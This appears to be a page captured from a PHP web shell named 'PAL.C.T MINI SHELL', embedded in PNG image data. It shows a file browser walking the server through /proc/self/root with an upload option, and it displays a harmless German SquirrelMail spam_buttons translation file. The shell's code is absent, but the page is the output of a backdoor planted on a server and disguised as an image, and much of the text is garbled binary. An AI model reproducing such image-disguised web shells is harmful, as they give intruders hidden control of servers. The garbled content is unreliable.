php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/de_DE/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/de_DE/LC_MESSAGES/spam_buttons.po

# German (de_DE) spam_buttons Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Florian Daeumling <jam@qv90.de>, 2006.
# $Id: spam_buttons.pot 10877 2006-03-04 11:22:22Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: spam_buttons 1.0\n"
"POT-Creation-Date: 2006-01-07 13:03+0100\n"
"PO-Revision-Date: 2007-01-21 08:12+0100\n"
"Last-Translator: Florian Daeumling <jam@qv90.de>\n"
"Language-Team: German <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

msgid "Server replied: "
msgstr "Antwort vom Server:"

msgid "Spam"
msgstr "Spam"

msgid "Not Spam"
msgstr "Kein Spam"

msgid "Successfully reported as spam"
msgstr "Nachricht erfolgreich als Spam gemeldet"

#, php-format
msgid "Error: Spam folder %s does not exist."
msgstr "Fehler: Spamordner %s existiert nicht."

msgid "Successfully reported as non-spam"
msgstr "Nachricht erfolgreich als kein Spam gemeldet"

msgid "ERROR:"
msgstr "Fehler:"

msgid ""
"ERROR: Counld not open temp file; check attachments directory permissions"
msgstr "Fehler: Konnte temporäre Datei nicht öffnen. Bitte prüfen Sie die "
"Dateiattribute des Anhang-Verzeichnisses"

#, php-format
msgid "ERROR %d: Problem reporting message ID %d: %s"
msgstr "Fehler %d: Probleme beim melden der Nachricht ID: %d: %s"

#, php-format
msgid "Error: Draft folder %s does not exist."
msgstr "Fehler: Entwurfsordner %s existiert nicht."

msgid "Message Details"
msgstr "Nachrichten Details"

msgid "Bodystructure"
msgstr "Struktur des Nachrichtentextes"

msgid "Entity"
msgstr "Dateneinheit"

msgid "Content-Type"
msgstr "Typ des Inhalts"

msgid "Name"
msgstr "Name"

msgid "Encoding"
msgstr "Kodierung"

msgid "RFC822 Message body"
msgstr "RFC822 Nachricht"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`